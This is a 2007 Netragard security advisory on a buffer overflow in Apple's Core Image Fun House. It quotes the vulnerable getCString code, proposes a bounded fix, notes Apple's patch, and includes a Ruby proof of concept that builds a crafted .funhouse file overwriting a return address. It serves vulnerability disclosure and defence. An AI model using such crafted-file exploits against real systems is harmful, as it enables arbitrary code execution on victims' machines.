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*************************** NETRAGARD ADVISORY***********************
http://www.netragard.com
"We make IT Safe"

[Advisory Summary]

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Advisory Author : Adriel T. Desautels
Researcher : Kevin Finisterre
Advisory ID : NETRAGARD-20070628
Product Name : Core Image Fun House
Product Version : <= 2.0 OS X
Vendor Name : http://www.apple.com
Type of Vulnerability : Buffer Overflow
Effort (1-10 where 1 == easy) : 5
Impact : Arbitrary Code Execution
Vendor Notified : Yes
Patch Released : N/A
Discovery Date : 07/10/2007

[POSTING NOTICE]

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If you intend to post this advisory on your web-site you must provide
a clickable link back to http://www.netragard.com as the contents of
this advisory may be updated without notice.

[Product Description]

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"From creating new solutions for print, photography, scientific
visualization, and film post-production to enhancing your application's
user interface with innovative and effortless visual effects, Core Image
performs the heavy lifting that enables the next generation of imaging
applications."

• – http://developer.apple.com/macosx/coreimage.html –

[Technical Summary]

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It is possible to trigger an exploitable buffer overflow condition
by creating a specially crafted .funhouse file.

[Technical Details]

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The Funhouse application does not properly parse XML data.
Specifically it is possible to create a specially crafted .funhouse
file that will trigger and exploit a buffer overflow condition. The
code responsible for the condition is as follows:

// render origin handles using AppKit directly

• • (CIImage *)drawPoints:(CIImage *)im
    {
    …
    ~ NSString *str, *str2, *localizedParameter;
    …

~ else if ([type isEqualToString:@"image"])
~ {
~ // image effect stack element
~ // show an image origin (in its center)
~ CGRect r = [[es imageAtIndex:i] extent];
~ NSPoint offset = [es offsetAtIndex:i];
~ pt.x = offset.x + (r.origin.x + r.size.width * 0.5);
~ pt.y = offset.y + (r.origin.y + r.size.height * 0.5);
~ str = [[es filenameAtIndex:i] stringByAppendingString:@"
center"];
~ [self drawPoint:pt label:str intoContext:cg];
~ }

}

The following code is called by the code referenced above:

/*
~ Drawing
*/

// draw an onscreen handle for an image origin, text origin, or filter point
// the handle is a "center symbol" - a circle with crosshairs through it.
// the handle is labelled with the string "str".
// all items are "shadowed"

• • (void)drawPoint:(NSPoint)pt label:(NSString *)str
    intoContext:(CGContextRef)cg
    {
    …
    ~ char cstr[256];
    …
    ~ if (!movingNow)
    ~ {
    ~ [str getCString:cstr]; <– Vulnerability Exists Here

[Fix]

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To fix the issue the [str getCString:cstr]; needs to be replaced with
[str getCString:cstr maxLength:254]; to prevent overflows.

• •   [str getCString:cstr];
    

•   [str getCString:cstr maxLength:254];
  

[Proof Of Concept]

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#!/usr/bin/ruby

Copyright (c) Netragard, LLC. [email protected]

/Developer/Applications/Graphics Tools/Core Image Fun House.app

/Contents/MacOS/Core Image Fun House

(gdb) x/10s 0xbfffddf7

0xbfffddf7: 'Z' <repeats 101 times>, "DCBA center"

2007-07-10 21:15:34.573 Core Image Fun House[1061] CFLog (0):

CFPropertyListCreateFromXMLData(): plist parse failed;

the data is notproper UTF-8. The file name for this data

could be:

$

/Users/test/Desktop/SuperTastey.funhouse/file.xml

The parser will retry as in 10.2, but the problem should be

corrected in the plist.

\x80-\xFF range that do not form proper utf8

len = 300
fname = "SuperTastey"
retaddr = 0x0d0d0d0d # There are lots of filtered chars!

if File.exist?(fname + ".funhouse/file.xml")
File.unlink(fname + ".funhouse/file.xml")
Dir.rmdir(fname + ".funhouse")
end
Dir.mkdir(fname + ".funhouse")

FUNSTUFF =
"<?xml version=\"1.0\" encoding=\"UTF-8\"?>" +
"<!DOCTYPE plist PUBLIC \"-//Apple Computer//DTD PLIST 1.0//EN\"
\"http://www.apple.com/DTDs/PropertyList-1.0.dtd&#92;&quot;&gt;&quot; +
"<plist version=\"1.0\">" +
"<dict>" +
"<key>layers</key>" +
"<array>" +
"<dict>" +
"<key>file</key>" +
"<string>" +
"Z" * len + [retaddr].pack("V") +
"</string>" +
"<key>offsetX</key>" +
"<real>0.0</real>" +
"<key>offsetY</key>" +
"<real>0.0</real>" +
"<key>type</key>" +
"<string>image</string>" +
"</dict>" +
"<dict>" +
"<key>classname</key>" +
"<string>CIGlassDistortion</string>" +
"<key>type</key>" +
"<string>filter</string>" +
"<key>values</key>" +
"<dict>" +
"<key>inputCenter_CIVectorValue</key>" +
"<string>[150 150]</string>" +
"<key>inputScale</key>" +
"<real>200</real>" +
"<key>inputTexture</key>" +
"<string>" +
"Z" * 50000 +
"</string>" +
"</dict>" +
"</dict>" +
"</array>" +
"</dict>" +
"</plist>" + "\n"

target_file = File.open("SuperTastey.funhouse/file.xml", "w+") { |f|
~ f.print(FUNSTUFF) # weeeeee… lets have fun.
~ f.close
}

[Vendor Status]

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Vendor Notified

[Vendor Comments]

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This issue is addressed in Xcode tools 3.1. Credit to Kevin
Finisterre of Netragard for reporting this issue to Apple. Further
information is available at:

http://support.apple.com/kb/HT1222

[Disclaimer]

• ----------------------http://www.netragard.com------------------------
  Netragard, L.L.C. assumes no liability for the use of the information
  provided in this advisory. This advisory was released in an effort to
  help the I.T. community protect themselves against a potentially
  dangerous security hole. This advisory is not an attempt to solicit
  business.

<a href="http://www.netragard.com>
http://www.netragard.com
</a>

[Netragard Whitepaper Downloads]

---

Choosing the right provider : http://tinyurl.com/2ahk3j
Three Things you must know : http://tinyurl.com/26pjsn

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